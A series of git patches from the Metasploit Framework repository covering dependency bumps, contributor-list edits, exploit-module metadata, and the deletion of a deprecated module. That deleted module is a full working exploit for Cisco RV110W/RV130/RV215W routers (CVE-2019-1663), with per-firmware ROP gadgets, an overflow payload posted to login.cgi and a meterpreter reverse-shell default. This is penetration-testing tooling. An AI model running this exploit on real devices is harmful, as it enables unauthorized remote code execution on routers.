aws-sdk-kms (1.24.0) aws-sdk-core (~> 3, >= 3.61.1) aws-sigv4 (~> 1.1) - aws-sdk-s3 (1.46.0) + aws-sdk-s3 (1.47.0) aws-sdk-core (~> 3, >= 3.61.1) aws-sdk-kms (~> 1) aws-sigv4 (~> 1.1) @@ -167,7 +167,7 @@ GEM factory_bot_rails (5.0.2) factory_bot (~> 5.0.2) railties (>= 4.2.0) - faker (2.1.2) + faker (2.2.0) i18n (>= 0.8) faraday (0.15.4) multipart-post (>= 1.2, < 3) @@ -317,7 +317,7 @@ GEM rex-socket rex-text rex-struct2 (0.1.2) - rex-text (0.2.22) + rex-text (0.2.23) rex-zip (0.1.3) rex-text rkelly-remix (0.0.7) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 1eadb1e968..a57e409071 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -10,12 +10,12 @@ afm, 0.2.2, MIT arel, 6.0.4, MIT arel-helpers, 2.10.0, MIT aws-eventstream, 1.0.3, "Apache 2.0" -aws-partitions, 1.204.0, "Apache 2.0" -aws-sdk-core, 3.64.0, "Apache 2.0" -aws-sdk-ec2, 1.105.0, "Apache 2.0" +aws-partitions, 1.207.0, "Apache 2.0" +aws-sdk-core, 3.65.1, "Apache 2.0" +aws-sdk-ec2, 1.106.0, "Apache 2.0" aws-sdk-iam, 1.29.0, "Apache 2.0" aws-sdk-kms, 1.24.0, "Apache 2.0" -aws-sdk-s3, 1.46.0, "Apache 2.0" +aws-sdk-s3, 1.47.0, "Apache 2.0" aws-sigv4, 1.1.0, "Apache 2.0" backports, 3.15.0, MIT bcrypt, 3.1.12, MIT @@ -39,7 +39,7 @@ erubis, 2.7.0, MIT eventmachine, 1.2.7, "ruby, GPL-2.0" factory_bot, 5.0.2, MIT factory_bot_rails, 5.0.2, MIT -faker, 2.1.2, MIT +faker, 2.2.0, MIT faraday, 0.15.4, MIT filesize, 0.2.0, MIT fivemat, 1.3.7, MIT @@ -53,7 +53,7 @@ loofah, 2.2.3, MIT metasm, 1.0.4, LGPL-2.1 metasploit-concern, 2.0.5, "New BSD" metasploit-credential, 3.0.3, "New BSD" -metasploit-framework, 5.0.43, "New BSD" +metasploit-framework, 5.0.44, "New BSD" metasploit-model, 2.0.4, "New BSD" metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD" metasploit_data_models, 3.0.10, "New BSD" @@ -108,7 +108,7 @@ rex-rop_builder, 0.1.3, "New BSD" rex-socket, 0.1.17, "New BSD" rex-sslscan, 0.1.5, "New BSD" rex-struct2, 0.1.2, "New BSD" -rex-text, 0.2.22, "New BSD" +rex-text, 0.2.23, "New BSD" rex-zip, 0.1.3, "New BSD" rkelly-remix, 0.0.7, MIT rspec, 3.8.0, MIT diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 5c204f1268..dea7d79985 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "5.0.43" + VERSION = "5.0.44" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 991639c493e2833b1022d173a5ac501b7425d8f3 Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Fri, 30 Aug 2019 00:01:55 -0500 Subject: [PATCH 090/217] Unify SSL cert generate interfaces After this and rex-socket#19 the interfaces should be compatible again. --- lib/msf/core/cert_provider.rb | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/cert_provider.rb b/lib/msf/core/cert_provider.rb index 3b535ccd96..4471b586fd 100644 --- a/lib/msf/core/cert_provider.rb +++ b/lib/msf/core/cert_provider.rb @@ -45,11 +45,11 @@ module Ssl # identification by NIDS and the like. # # @return [String, String, Array] - def self.ssl_generate_certificate(opts = {}, ksize = 2048) + def self.ssl_generate_certificate(cert_vars: {}, ksize: 2048, **opts) yr = 24*3600*365 vf = opts[:not_before] || Time.at(Time.now.to_i - rand(yr * 3) - yr) vt = opts[:not_after] || Time.at(vf.to_i + (rand(9)+1) * yr) - cvars = opts[:cert_vars] || self.rand_vars + cvars = self.rand_vars(cert_vars) subject = opts[:subject] || ssl_generate_subject(cvars) ctype = opts[:cert_type] || opts[:ca_cert].nil? ? :ca : :server key = opts[:key] || OpenSSL::PKey::RSA.new(ksize){ } diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 86853958cd..a9a8efd268 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -167,7 +167,7 @@ Gem::Specification.new do |spec| # Library for parsing and manipulating executable binaries spec.add_runtime_dependency 'rex-bin_tools' # Rex Socket Abstraction Layer - spec.add_runtime_dependency 'rex-socket', '0.1.17' + spec.add_runtime_dependency 'rex-socket' # Library for scanning a server's SSL/TLS capabilities spec.add_runtime_dependency 'rex-sslscan' # Library and tool for finding ROP gadgets in a supplied binary From cc9a2a16683ca180cbab08c01ffbfd2fe8cdf032 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 30 Aug 2019 11:50:56 -0500 Subject: [PATCH 091/217] update current employees --- .mailmap | 41 ++++++++++++++++++++--------------------- 1 file changed, 20 insertions(+), 21 deletions(-) diff --git a/.mailmap b/.mailmap index ad41f21b76..1b9af7d2a4 100644 --- a/.mailmap +++ b/.mailmap @@ -1,49 +1,29 @@ acammack-r7 acammack-r7 acammack-r7 -asoto-r7 bcook-r7 bcook-r7 -bpatterson-r7 <“bpatterson@rapid7.com”> -bpatterson-r7 bturner-r7 bwatters-r7 cdoughty-r7 dheiland-r7 -dmaloney-r7 -dmaloney-r7 -dmohanty-r7 dwelch-r7 ecarey-r7 -egypt # aka egypt -egypt jbarnett-r7 jbarnett-r7 -jhart-r7 jinq102030 jinq102030 jmartin-r7 -kgray-r7 -khayes-r7 -lsanchez-r7 -lsanchez-r7 -lsanchez-r7 -lsanchez-r7 -lsanchez-r7 lsato-r7 lvarela-r7 <“leonardo_varela@rapid7.com”> mkienow-r7 pbarry-r7 pdeardorff-r7 pdeardorff-r7 -sdavis-r7 -sdavis-r7 -sdavis-r7 sgonzalez-r7 sgonzalez-r7 shuckins-r7 space-r7 -tatanus tdoan-r7 todb-r7 todb-r7 @@ -54,7 +34,6 @@ wvu-r7 wvu-r7 wvu-r7 wwalker-r7 -wwebb-r7 # Above this line are current Rapid7 employees. Below this paragraph are # volunteers, former employees, and potential Rapid7 employees who, at @@ -63,9 +42,12 @@ wwebb-r7 # periodically. If you're on this list and would like to not be, just # let todb@metasploit.com know. +asoto-r7 bannedit David Rude bcoles bcoles bokojan parzamendi-r7 +bpatterson-r7 +bpatterson-r7 brandonprry brandonprry Brandon Perry brandonprry Brandon Perry @@ -84,8 +66,13 @@ corelanc0d3r Peter Van Eeckhoutte (corelanc0d3r) Christian Catalan darkoperator Carlos Perez DanielRTeixeira Daniel Teixeira +dmaloney-r7 +dmaloney-r7 +dmohanty-r7 efraintorres efraintorres efraintorres et <> +egypt # aka egypt +egypt espreto fab fab <> # fab at revhosts.net (Fabrice MOURRON) farias-r7 @@ -111,6 +98,7 @@ jcran jduck jduck jgor jgor +jhart-r7 joevennix Joe Vennix joevennix joevennix @@ -120,9 +108,15 @@ juanvazquez jvazquez-r7 kernelsmith Joshua Smith kernelsmith Joshua Smith kernelsmith kernelsmith +kgray-r7 kost Vlatko Kosturjak kris kris <> KronicDeth Luke Imhoff +lsanchez-r7 +lsanchez-r7 +lsanchez-r7 +lsanchez-r7 +lsanchez-r7 m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 @@ -152,12 +146,16 @@ rwhitcroft schierlm Michael Schierl # Aka mihi scriptjunkie Matt Weeks scriptjunkie scriptjunkie +sdavis-r7 +sdavis-r7 +sdavis-r7 skape Matt Miller spoonm Spoon M stufus Stuart Morgan stufus Stuart swtornio Steve Tornio Tasos Laskos Tasos Laskos +tatanus techpeace Matt Buck techpeace Matt Buck timwr @@ -165,6 +163,7 @@ TomSellers Tom Sellers trevrosen Trevor Rosen trevrosen Trevor Rosen TrustedSec trustedsec +wwebb-r7 void-in void_in void-in void-in void-in From 23e6c46ea9051f3e15bf48dac9bb6fe3f684d1a2 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 30 Aug 2019 12:03:25 -0500 Subject: [PATCH 092/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 186 +++++++++------------------------- 1 file changed, 50 insertions(+), 136 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index f2240cc606..8530c47541 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -57084,6 +57084,56 @@ }, "needs_cleanup": true }, + "exploit_linux/http/ubiquiti_airos_file_upload": { + "name": "Ubiquiti airOS Arbitrary File Upload", + "fullname": "exploit/linux/http/ubiquiti_airos_file_upload", + "aliases": [ + "exploit/linux/ssh/ubiquiti_airos_file_upload" + ], + "rank": 600, + "disclosure_date": "2016-02-13", + "type": "exploit", + "author": [ + "93c08539", + "wvu " + ], + "description": "This module exploits a pre-auth file upload to install a new root user\n to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys.\n\n FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten.\n /etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true.\n\n This method is used by the \"mf\" malware infecting these devices.", + "references": [ + "EDB-39701", + "URL-https://hackerone.com/reports/73480" + ], + "platform": "Unix", + "arch": "cmd", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Ubiquiti airOS < 5.6.2" + ], + "mod_time": "2019-08-22 11:27:32 +0000", + "path": "/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb", + "is_install_path": true, + "ref_name": "linux/http/ubiquiti_airos_file_upload", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": null + }, "exploit_linux/http/ueb_api_rce": { "name": "Unitrends UEB http api remote code execution", "fullname": "exploit/linux/http/ueb_api_rce", @@ -62290,56 +62340,6 @@ }, "needs_cleanup": null }, - "exploit_linux/ssh/ubiquiti_airos_file_upload": { - "name": "Ubiquiti airOS Arbitrary File Upload", - "fullname": "exploit/linux/ssh/ubiquiti_airos_file_upload", - "aliases": [ - - ], - "rank": 600, - "disclosure_date": "2016-02-13", - "type": "exploit", - "author": [ - "93c08539", - "wvu " - ], - "description": "This module exploits a pre-auth file upload to install a new root user\n to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys.\n\n FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten.\n /etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true.\n\n This method is used by the \"mf\" malware infecting these devices.", - "references": [ - "EDB-39701", - "URL-https://hackerone.com/reports/73480" - ], - "platform": "Unix", - "arch": "cmd", - "rport": 443, - "autofilter_ports": [ - 80, - 8080, - 443, - 8000, - 8888, - 8880, - 8008, - 3000, - 8443 - ], - "autofilter_services": [ - "http", - "https" - ], - "targets": [ - "Ubiquiti airOS < 5.6.2" - ], - "mod_time": "2018-11-16 12:18:28 +0000", - "path": "/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb", - "is_install_path": true, - "ref_name": "linux/ssh/ubiquiti_airos_file_upload", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "needs_cleanup": null - }, "exploit_linux/ssh/vmware_vdp_known_privkey": { "name": "VMware VDP Known SSH Key", "fullname": "exploit/linux/ssh/vmware_vdp_known_privkey", @@ -82184,50 +82184,6 @@ }, "needs_cleanup": null }, - "exploit_unix/misc/qnx_qconn_exec": { - "name": "QNX qconn Command Execution", - "fullname": "exploit/unix/misc/qnx_qconn_exec", - "aliases": [ - - ], - "rank": 600, - "disclosure_date": "2012-09-04", - "type": "exploit", - "author": [ - "David Odell", - "Mor!p3r", - "bcoles " - ], - "description": "This module uses the qconn daemon on QNX systems to gain a shell.\n\n The QNX qconn daemon does not require authentication and allows\n remote users to execute arbitrary operating system commands.\n\n This module has been tested successfully on QNX Neutrino 6.5.0 (x86)\n and 6.5.0 SP1 (x86).", - "references": [ - "EDB-21520", - "URL-https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos", - "URL-http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html", - "URL-http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html" - ], - "platform": "Unix", - "arch": "cmd", - "rport": 8000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], - "targets": [ - "Automatic" - ], - "mod_time": "2019-01-10 19:19:14 +0000", - "path": "/modules/exploits/unix/misc/qnx_qconn_exec.rb", - "is_install_path": true, - "ref_name": "unix/misc/qnx_qconn_exec", - "check": true, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "needs_cleanup": null - }, "exploit_unix/misc/spamassassin_exec": { "name": "SpamAssassin spamd Remote Command Execution", "fullname": "exploit/unix/misc/spamassassin_exec", @@ -82353,48 +82309,6 @@ }, "needs_cleanup": null }, - "exploit_unix/polycom_hdx_auth_bypass": { - "name": "Polycom Command Shell Authorization Bypass", - "fullname": "exploit/unix/polycom_hdx_auth_bypass", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": "2013-01-18", - "type": "exploit", - "author": [ - "Paul Haas ", - "h00die " - ], - "description": "The login component of the Polycom Command Shell on Polycom HDX\n video endpoints, running software versions 3.0.5 and earlier,\n is vulnerable to an authorization bypass when simultaneous\n connections are made to the service, allowing remote network\n attackers to gain access to a sandboxed telnet prompt without\n authentication. Versions prior to 3.0.4 contain OS command\n injection in the ping command which can be used to execute\n arbitrary commands as root.", - "references": [ - "URL-http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf", - "URL-http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html", - "EDB-24494" - ], - "platform": "Unix", - "arch": "cmd", - "rport": 23, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], - "targets": [ - "Universal" - ], - "mod_time": "2018-11-04 06:14:26 +0000", - "path": "/modules/exploits/unix/polycom_hdx_auth_bypass.rb", - "is_install_path": true, - "ref_name": "unix/polycom_hdx_auth_bypass", - "check": true, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "needs_cleanup": null - }, "exploit_unix/smtp/clamav_milter_blackhole": { "name": "ClamAV Milter Blackhole-Mode Remote Code Execution", "fullname": "exploit/unix/smtp/clamav_milter_blackhole", From b0b72892be40c920906244bd9c327e9b6fdf2c4c Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 30 Aug 2019 12:03:43 -0500 Subject: [PATCH 093/217] Deprecate/delete cisco_rv130_rmi_rce by alias --- .../linux/http/cisco_rv130_rmi_rce.rb | 390 ------------------ .../linux/http/cve_2019_1663_cisco_rmi_rce.rb | 3 + 2 files changed, 3 insertions(+), 390 deletions(-) delete mode 100644 modules/exploits/linux/http/cisco_rv130_rmi_rce.rb diff --git a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb deleted file mode 100644 index 8ed9fee18d..0000000000 --- a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb +++ /dev/null @@ -1,390 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -# linux/armle/meterpreter/bind_tcp -> segfault -# linux/armle/meterpreter/reverse_tcp -> segfault -# linux/armle/meterpreter_reverse_http -> works -# linux/armle/meterpreter_reverse_https -> works -# linux/armle/meterpreter_reverse_tcp -> works -# linux/armle/shell/bind_tcp -> segfault -# linux/armle/shell/reverse_tcp -> segfault -# linux/armle/shell_bind_tcp -> segfault -# linux/armle/shell_reverse_tcp -> segfault -# -class MetasploitModule < Msf::Exploit::Remote - Rank = GoodRanking - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStager - include Msf::Module::Deprecated - - deprecated(Date.new(2019, 8, 1), 'exploit/linux/http/cve_2019_1663_cisco_rmi_rce') - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution', - 'Description' => %q{ - A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, - Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router - could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. - - The vulnerability is due to improper validation of user-supplied data in the web-based management interface. - An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. - - A successful exploit could allow the attacker to execute arbitrary code on the underlying operating - system of the affected device as a high-privilege user. - - RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected. - RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. - RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected. - - Note: successful exploitation may not result in a session, and as such, - on_new_session will never repair the HTTP server, leading to a denial-of-service condition. - }, - 'Author' => - [ - 'Yu Zhang', # Initial discovery (GeekPwn conference) - 'Haoliang Lu', # Initial discovery (GeekPwn conference) - 'T. Shiomitsu', # Initial discovery (Pen Test Partners) - 'Quentin Kaiser ' # Vulnerability analysis & exploit dev - ], - 'License' => MSF_LICENSE, - 'Platform' => %w[linux], - 'Arch' => [ARCH_ARMLE, ARCH_MIPSLE], - 'SessionTypes' => %w[meterpreter], - 'CmdStagerFlavor' => %w{ wget }, - 'Privileged' => true, # BusyBox - 'References' => - [ - ['CVE', '2019-1663'], - ['BID', '107185'], - ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'], - ['URL', 'https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/'] - ], - 'DefaultOptions' => { - 'WfsDelay' => 10, - 'SSL' => true, - 'RPORT' => 443, - 'CMDSTAGER::FLAVOR' => 'wget', - # TODO: set default payload based on target ? - 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', - }, - 'Targets' => - [ - [ 'Cisco RV110W 1.1.0.9', - { - 'offset' => 69, - 'libc_base_addr' => 0x2af06000, - 'libcrypto_base_addr' => 0x2ac01000, - 'system_offset' => 0x00050d40, - 'got_offset' => 0x0009d560, - # gadget 1 is in /usr/lib/libcrypto.so - 'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; - 'Arch' => ARCH_MIPSLE, - } - ], - [ 'Cisco RV110W 1.2.0.9', - { - 'offset' => 69, - 'libc_base_addr' => 0x2af08000, - 'libcrypto_base_addr' => 0x2ac03000, - 'system_offset' => 0x0004c7e0, - 'got_offset' => 0x00098db0, - # gadget 1 is in /usr/lib/libcrypto.so - 'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; - 'Arch' => ARCH_MIPSLE, - } - ], - [ 'Cisco RV110W 1.2.0.10', - { - 'offset' => 69, - 'libc_base_addr' => 0x2af09000, - 'libcrypto_base_addr' => 0x2ac04000, - 'system_offset' => 0x0004c7e0, - 'got_offset' => 0x00098db0, - # gadget 1 is in /usr/lib/libcrypto.so - 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; - 'Arch' => ARCH_MIPSLE, - } - ], - [ 'Cisco RV110W 1.2.1.4', - { - 'offset' => 69, - 'libc_base_addr' => 0x2af54000, - 'libcrypto_base_addr' => 0x2ac4f000, - 'system_offset' => 0x0004c7e0, - 'got_offset' => 0x00098db0, - # gadget 1 is in /usr/lib/libcrypto.so - 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; - 'Arch' => ARCH_MIPSLE, - } - ], - [ 'Cisco RV110W 1.2.1.7', - { - 'offset' => 69, - 'libc_base_addr' => 0x2af98000, - 'libcrypto_base_addr' => 0x2ac4f000, - 'system_offset' => 0x0004c7e0, - 'got_offset' => 0x00098db0, - # gadget 1 is in /usr/lib/libcrypto.so - 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; - 'Arch' => ARCH_MIPSLE, - } - ], - [ 'Cisco RV130/RV130W < 1.0.3.45', - { - 'offset' => 446, - 'libc_base_addr' => 0x357fb000, - 'system_offset' => 0x0004d144, - 'gadget1' => 0x00020e79, # pop {r2, r6, pc}; - 'gadget2' => 0x00041308, # mov r0, sp; blx r2; - 'Arch' => ARCH_ARMLE, - }, - ], - [ 'Cisco RV215W 1.1.0.5', - { - 'offset' => 69, - 'libc_base_addr' => 0x2af59000, - 'libcrypto_base_addr' => 0x2ac54000, - 'system_offset' => 0x0004c7e0, - 'got_offset' => 0x00098db0, - # gadget 1 is in /usr/lib/libcrypto.so - 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; - 'Arch' => ARCH_MIPSLE, - } - ], - [ 'Cisco RV215W 1.1.0.6', - { - 'offset' => 69, - 'libc_base_addr' => 0x2af59000, - 'libcrypto_base_addr' => 0x2ac54000, - 'system_offset' => 0x0004c7e0, - 'got_offset' => 0x00098db0, - # gadget 1 is in /usr/lib/libcrypto.so - 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; - 'Arch' => ARCH_MIPSLE, - } - ], - [ 'Cisco RV215W 1.2.0.14', - { - 'offset' => 69, - 'libc_base_addr' => 0x2af5f000, - 'libcrypto_base_addr' => 0x2ac5a001, - 'system_offset' => 0x0004c7e0, - 'got_offset' => 0x00098db0, - # gadget 1 is in /usr/lib/libcrypto.so - 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; - 'Arch' => ARCH_MIPSLE, - } - ], - [ 'Cisco RV215W 1.2.0.15', - { - 'offset' => 69, - 'libc_base_addr' => 0x2af5f000, - 'libcrypto_base_addr' => 0x2ac5a000, - 'system_offset' => 0x0004c7e0, - 'got_offset' => 0x00098db0, - # gadget 1 is in /usr/lib/libcrypto.so - 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; - 'Arch' => ARCH_MIPSLE, - } - ], - [ 'Cisco RV215W 1.3.0.7', - { - 'offset' => 77, - 'libc_base_addr' => 0x2afeb000, - 'libcrypto_base_addr' => 0x2aca5000, - 'system_offset' => 0x0004c7e0, - 'got_offset' => 0x000a0530, - # gadget 1 is in /usr/lib/libcrypto.so - 'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; - 'Arch' => ARCH_MIPSLE, - } - ], - [ 'Cisco RV215W 1.3.0.8', - { - 'offset' => 77, - 'libc_base_addr' => 0x2afee000, - 'libcrypto_base_addr' => 0x2aca5000, - 'system_offset' => 0x0004c7e0, - 'got_offset' => 0x000a0530, - # gadget 1 is in /usr/lib/libcrypto.so - 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; - 'Arch' => ARCH_MIPSLE, - } - ], - ], - 'DisclosureDate' => 'Feb 27 2019', - 'DefaultTarget' => 0, - 'Notes' => { - 'Stability' => [ CRASH_SERVICE_DOWN, ], - }, - )) - - self.needs_cleanup = true - end - - def p(lib, offset) - [(lib + offset).to_s(16)].pack('H*').reverse - end - - def prepare_shellcode(cmd) - case target - # RV110W 1.1.0.9, 1.2.0.9, 1.2.0.10, 1.2.1.4, 1.2.1.7 - # RV215W 1.1.0.5, 1.1.0.6, 1.2.0.14, 1.2.0.15, 1.3.0.7, 1.3.0.8 - when targets[0], targets[1], targets[2], targets[3], targets[4], targets[6], targets[7], targets[8], targets[9], targets[10], targets[11] - shellcode = rand_text_alpha(target['offset']) + # filler - rand_text_alpha(4) + # $s0 - rand_text_alpha(4) + # $s1 - rand_text_alpha(4) + # $s2 - rand_text_alpha(4) + # $s3 - p(target['libc_base_addr'], target['system_offset']) + # $s4 - rand_text_alpha(4) + # $s5 - rand_text_alpha(4) + # $s6 - rand_text_alpha(4) + # $s7 - rand_text_alpha(4) + # $s8 - p(target['libcrypto_base_addr'], target['gadget1']) + # $ra - p(target['libc_base_addr'], target['got_offset']) + - rand_text_alpha(28) + - cmd - shellcode - when targets[5] # RV130/RV130W - shellcode = rand_text_alpha(target['offset']) + # filler - p(target['libc_base_addr'], target['gadget1']) + - p(target['libc_base_addr'], target['system_offset']) + # r2 - rand_text_alpha(4) + # r6 - p(target['libc_base_addr'], target['gadget2']) + # pc - cmd - shellcode - end - end - - def send_request(buffer) - begin - send_request_cgi({ - 'uri' => '/login.cgi', - 'method' => 'POST', - 'vars_post' => { - "submit_button": "login", - "submit_type": "", - "gui_action": "", - "wait_time": 0, - "change_action": "", - "enc": 1, - "user": rand_text_alpha_lower(5), - "pwd": buffer, - "sel_lang": "EN" - } - }) - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") - end - end - - def check - - # We fingerprint devices using SHA1 hash of a web resource accessible to unauthenticated users. - # We use lang_pack/EN.js because it's the one file that changes the most between versions. - # Note that it's not a smoking gun given that some branches keep the exact same files in /www - # (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x) - - fingerprints = { - "69d906ddd59eb6755a7b9c4f46ea11cdaa47c706" => { - "version" => "Cisco RV110W 1.1.0.9", - "status" =>Exploit::CheckCode::Vulnerable - }, - "8d3b677d870425198f7fae94d6cfe262551aa8bd" => { - "version" => "Cisco RV110W 1.2.0.9", - "status" => Exploit::CheckCode::Vulnerable - }, - "134ee643ec877641030211193a43cc5e93c96a06" => { - "version" => "Cisco RV110W 1.2.0.10", - "status" => Exploit::CheckCode::Vulnerable - }, - "e3b2ec9d099a3e3468f8437e5247723643ff830e" => { - "version" => "Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)", - "status" => Exploit::CheckCode::Unknown - }, - "6b7b1e8097e8dda26db27a09b8176b9c32b349b3" => { - "version" => "Cisco RV130/RV130W 1.0.0.21", - "status" => Exploit::CheckCode::Vulnerable - }, - "9b1a87b752d11c5ba97dd80d6bae415532615266" => { - "version" => "Cisco RV130/RV130W 1.0.1.3", - "status" => Exploit::CheckCode::Vulnerable - }, - "9b6399842ef69cf94409b65c4c61017c862b9d09" => { - "version" => "Cisco RV130/RV130W 1.0.2.7", - "status" => Exploit::CheckCode::Vulnerable - }, - "8680ec6df4f8937acd3505a4dd36d40cb02c2bd6" => { - "version" => "Cisco RV130/RV130W 1.0.3.14, 1.0.3.16", - "status" => Exploit::CheckCode::Vulnerable - }, - "8c8e05de96810a02344d96588c09b21c491ede2d" => { - "version" => "Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)", - "status" => Exploit::CheckCode::Unknown - }, - "2f29a0dfa78063d643eb17388e27d3f804ff6765" => { - "version" => "Cisco RV215W 1.1.0.5", - "status" => Exploit::CheckCode::Vulnerable - }, - "e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f" => { - "version" => "Cisco RV215W 1.1.0.6", - "status" => Exploit::CheckCode::Vulnerable - }, - "7cc8fcce5949a68c31641c38255e7f6ed31ff4db" => { - "version" => "Cisco RV215W 1.2.0.14 or 1.2.0.15", - "status" => Exploit::CheckCode::Vulnerable - }, - "050d47ea944eaeadaec08945741e8e380f796741" => { - "version" => "Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)", - "status" => Exploit::CheckCode::Unknown - } - } - - uri = target_uri.path - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, 'lang_pack/EN.js') - }) - if res && res.code == 200 - fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}") - if fingerprints.key?(fingerprint) - print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}") - return fingerprints[fingerprint]["status"] - else - print_status("Couldn't reliably fingerprint the target.") - end - end - Exploit::CheckCode::Unknown - end - - def exploit - print_status('Sending request') - execute_cmdstager - end - - def execute_command(cmd, opts = {}) - shellcode = prepare_shellcode(cmd.to_s) - send_request(shellcode) - end - - def on_new_session(session) - # Given there is no process continuation here, the httpd server will stop - # functioning properly and we need to take care of proper restart - # ourselves. - print_status("Reloading httpd service") - reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S" - if session.type.to_s.eql? 'meterpreter' - session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' - session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\"" - else - session.shell_command(reload_httpd_service) - end - ensure - super - end -end diff --git a/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb b/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb index e2b9ea98d3..b3bdf22bfa 100644 --- a/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb +++ b/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb @@ -18,6 +18,9 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager + include Msf::Exploit::Deprecated + + moved_from 'exploit/linux/http/cisco_rv130_rmi_rce' def 